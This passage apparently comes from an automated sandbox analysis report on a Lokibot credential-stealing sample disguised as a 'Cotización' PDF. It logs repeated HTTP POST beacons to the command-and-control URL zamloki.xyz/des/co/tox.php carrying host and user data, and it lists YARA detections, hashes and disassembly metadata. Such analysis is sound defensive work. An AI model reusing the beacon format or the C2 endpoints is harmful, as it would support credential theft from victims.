Aug 4, 2021 13:56:45.488110065 CEST	6070	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:45 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5ByYqZss0zRRID04BHd%2Fr0zQZ2ecvuFD7nz2AN1HAoC3N%2FgRAKl0RIB6hwJTi3hRMQNZWFkzTsyNsuD9YXQS7icspoFy%2F1zDPzBzgnZJOw5%2FOJBjSH4lX0KLjD%2FQlQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979aaebeb80609-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.5	49721	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:55:55.774218082 CEST	1418	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:55:55.790851116 CEST	1418	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:55:56.054462910 CEST	1419	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:55:56 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=C%2BD%2BqbLgASJoKl1u%2F%2BZgFArnT%2F3WscBvgTRWmMnahe%2FyDsYLm1ulgyCBmTFl%2FLtbn3zUdHqw9pvVx%2BsiFCBka2DGxt9gMajZ29252yJbsLsoEWwsW98mJzqMMkmlPg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979979add418e5-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.5	49806	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:45.746232986 CEST	6071	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:45.763290882 CEST	6071	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:46.011816025 CEST	6072	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:46 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ag3O%2Bf%2FcMLsDIxwCVYojgnDCT4tc49zNjjQnUCNVJtO807wcfP%2BS2YHwAlh0VxuO6%2BVb1YeiS%2BRsotlypDvHD7HbA7Mxvm9GRwRP410y87uxEBgRB0ksEZBn%2FWlc2g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979ab1fde49760-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.5	49807	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:46.235435009 CEST	6073	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:46.254350901 CEST	6073	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:46.493997097 CEST	6074	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:46 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=CzcnYiW2IiTJ%2FNETHjCk8zYZOib5oYIdUvWXi9wKaG%2BcwA8jWltT4QxbR%2Ba%2FKNxl2tO2F%2BO4DD7ux9fh3a28Xxmt%2Bopz1D0ZkmZTGb2NJmkYBmk57O1CeQzMdylOFA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979ab50a614e07-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.2.5	49808	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:46.780678034 CEST	6074	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:46.797702074 CEST	6075	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:47.111270905 CEST	6075	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:47 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=hGKqfa%2FRINZn3plfqhkIU9Om2zYBsVnGvG5WNY6RVBDt7PyJDKlHzzcf3SjPRA9IKKH5gTN20s%2FkhLyj42RdNAfGkov9VU%2B1Wpv3OUpbYDABz8UhCRRGQTRKdhGA0Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979ab868e74eb6-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.2.5	49809	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:47.351881027 CEST	6076	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:47.373248100 CEST	6077	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:47.634291887 CEST	6077	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:47 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=oYzsro0JmbZBathrDlrJi85OotLlp7wFqcMs3HpbupPGj9vkDJVcaCpUFeJsWO0FzU7qkY0jntsbpOWQjxHdg0Ttdwa1kLw3TfW4Khpb45EcsaFwKEuJFPyxlMoPIA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979abc0d022bf6-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.2.5	49810	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:47.872030973 CEST	6078	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:47.890769958 CEST	6078	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:48.161591053 CEST	6079	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:48 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=XM45O62AfmKAyG%2BTyyYtfGyMUzAI9cRrOcW%2FZTndnO7J35lwGgmdop9o86mKs7yJdXyRM%2FpDWBQegnQyYzpqI5Rx6o2Kr%2FJeBbu0Us%2BWEuTJ4tbp45n9OB1ZZbiqPA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979abf48764327-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.2.5	49811	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:48.413921118 CEST	6080	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:48.432580948 CEST	6080	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:48.680712938 CEST	6081	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:48 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=OmESqUhuAFJ%2B%2Byj6s9sKjxD5ybzHec4FEGlb%2BO4fVlIyJ0gLwme4Ro7R7gAZzST3cWd7RN%2FU4ltHS%2Bnfv4YFymErD1ntASZL2bg8j09f8uzdstRJ86A3nktqjLs%2FMQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979ac2ac75d6b9-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.2.5	49812	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:48.940231085 CEST	6082	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:48.957149029 CEST	6082	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:49.277582884 CEST	6083	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:49 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=zcrdVCH%2BPeYpwEob4efp5CstCmg5rNbNdG6F%2BFHTAhV%2FNKVgtA9pURVKKn3pc4Wx%2B9XLnkrZye51SOr09X5dSUS%2FRgOxUcseHUegnX13AWH366Yhqu1iicG2%2F%2BRT6w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979ac5ef41bf00-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	192.168.2.5	49813	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:49.538588047 CEST	6084	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:49.557708979 CEST	6084	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:49.789832115 CEST	6085	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:49 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=21oEpa9oySxSlsg0CCrF2s%2B7Vs7UT3SGMaX72lPNQg3xnFyft%2Fn6DlABP8n0TeBe0aNGDidx4rPOkkQ%2F0EXIt0pnpPfJL7IWnRVm1R67seo0Y8pJ%2B5ewZ5zpjNE9tA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979ac9adfb2bc2-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.2.5	49814	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:50.031990051 CEST	6086	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:50.053241968 CEST	6086	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:50.301953077 CEST	6087	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:50 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=HVcE6sh%2Be6FL%2B0DNvkDjGXNgMX69bq1LTLQvvyXWUpnKEMGhU7JFokMA%2Bp4QQbGi2kZauuP4EIIcHaYr8GfPpPA8%2BnVzz90Z6qjSBGr47TgEQLohkdEqGC0DZfVbSQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979accce8542e1-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.2.5	49815	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:50.555386066 CEST	6087	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:50.574076891 CEST	6088	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:50.834464073 CEST	6089	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:50 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=R0chijOEnkaiqR4ifXjfghp7%2BtSO8O8XQB9DceQ0KjZgVSmpRFkBVQaB1KxB4Te%2BCx%2FUS9yI59YHdwEb8kuv7yEdDR5CYVAICwBCE0Ne9DkfZ6%2BaEMVTgW%2F1DyF7zA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979ad00ff54327-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: Cotizaci#U00f3n-20210803.pdf.exe PID: 5764 Parent PID: 5652

General

Start time:	13:55:27
Start date:	04/08/2021
Path:	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe'
Imagebase:	0x8a0000
File size:	609792 bytes
MD5 hash:	A0B0B59336A2E6FCD27C85C10765DCA3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.302215135.0000000002EE0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000000.00000002.302215135.0000000002EE0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000000.00000002.302215135.0000000002EE0000.00000004.00000001.sdmp, Author: Joe Security Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000000.00000002.302215135.0000000002EE0000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.304824656.0000000003FD9000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000000.00000002.304824656.0000000003FD9000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000000.00000002.304824656.0000000003FD9000.00000004.00000001.sdmp, Author: Joe Security Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000000.00000002.304824656.0000000003FD9000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Chronological Activities

Analysis Process: Cotizaci#U00f3n-20210803.pdf.exe PID: 6108 Parent PID: 5764

General

Start time:	13:56:01
Start date:	04/08/2021
Path:	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe
Wow64 process (32bit):	true
Commandline:	{path}
Imagebase:	0xa00000
File size:	609792 bytes
MD5 hash:	A0B0B59336A2E6FCD27C85C10765DCA3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Loki_1, Description: Loki Payload, Source: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Author: kevoreilly Rule: Lokibot, Description: detect Lokibot in memory, Source: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: Cotizaci#U00f3n-20210803.pdf.exe PID: 5764 Parent PID: 5652 Cotizaci#U00f3n-20210803.pdf.exeCOMMON

Executed Functions

Function 05C69FA8, Relevance: 2.8, Strings: 2, Instructions: 336COMMON

Download Yara Rule

Strings

t;DL, xrefs: 05C6A22E
fD&l, xrefs: 05C6A124

Memory Dump Source

Source File: 00000000.00000002.305789887.0000000005C60000.00000040.00000001.sdmp, Offset: 05C60000, based on PE: false

Similarity

API ID:
String ID: fD&l$t;DL
API String ID: 0-2762068180
Opcode ID: ff2c46987d7a55e4cd5280d2b5cde7f87304a62e1c0207c9b980d55e73e2ebc8
Instruction ID: 78366da0fadb87c42defcff32a37b6b708eba76036881eff67201784bddc9f15
Opcode Fuzzy Hash: ff2c46987d7a55e4cd5280d2b5cde7f87304a62e1c0207c9b980d55e73e2ebc8
Instruction Fuzzy Hash: E3F17B70A19245DFC741CFAAD888A8DBFF2FB49310B15C9A9D015EB3A2DB349A41CF51

Uniqueness

Uniqueness Score: -1.00%

Function 05C6A058, Relevance: 2.8, Strings: 2, Instructions: 312COMMON

Download Yara Rule

Strings

t;DL, xrefs: 05C6A22E
fD&l, xrefs: 05C6A124

Memory Dump Source

Source File: 00000000.00000002.305789887.0000000005C60000.00000040.00000001.sdmp, Offset: 05C60000, based on PE: false

Similarity

API ID:
String ID: fD&l$t;DL
API String ID: 0-2762068180
Opcode ID: 16119b82093deefacc249d97df9d6f00c53e84a8f87fc8b16b275cedc6aca940
Instruction ID: d037082f2e17e383ef1f93bbe3122a88006b2c5312859ff80117e09dd5fc2d79
Opcode Fuzzy Hash: 16119b82093deefacc249d97df9d6f00c53e84a8f87fc8b16b275cedc6aca940
Instruction Fuzzy Hash: 8BE14870A14205DFC744DFAAD98899DBBF2FB89311B21C8A9D419EB366E7349E41CF00

Uniqueness

Uniqueness Score: -1.00%

Function 012D5B10, Relevance: 2.6, Strings: 2, Instructions: 136COMMON

Download Yara Rule

Strings

bWdb, xrefs: 012D5C2F
bWdb, xrefs: 012D5C28

Memory Dump Source

Source File: 00000000.00000002.301524426.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Similarity

API ID:
String ID: bWdb$bWdb
API String ID: 0-2668274010
Opcode ID: 3b7603383c8452e1d9c97dab568f4b87ec85008961eed6d871efd1cbf5e4b1c8
Instruction ID: 58abc687cc020ac54b08b1224d37c1a90588ac44ed8d5c89964e3608f62cfaa8
Opcode Fuzzy Hash: 3b7603383c8452e1d9c97dab568f4b87ec85008961eed6d871efd1cbf5e4b1c8
Instruction Fuzzy Hash: DD513974E2521ACFCB04CFA8E9459AEFBB2FF89200F14952AC105B7258D7B45A058F55

Uniqueness

Uniqueness Score: -1.00%

Function 05C60040, Relevance: 2.6, Instructions: 2596COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.305789887.0000000005C60000.00000040.00000001.sdmp, Offset: 05C60000, based on PE: false

Similarity

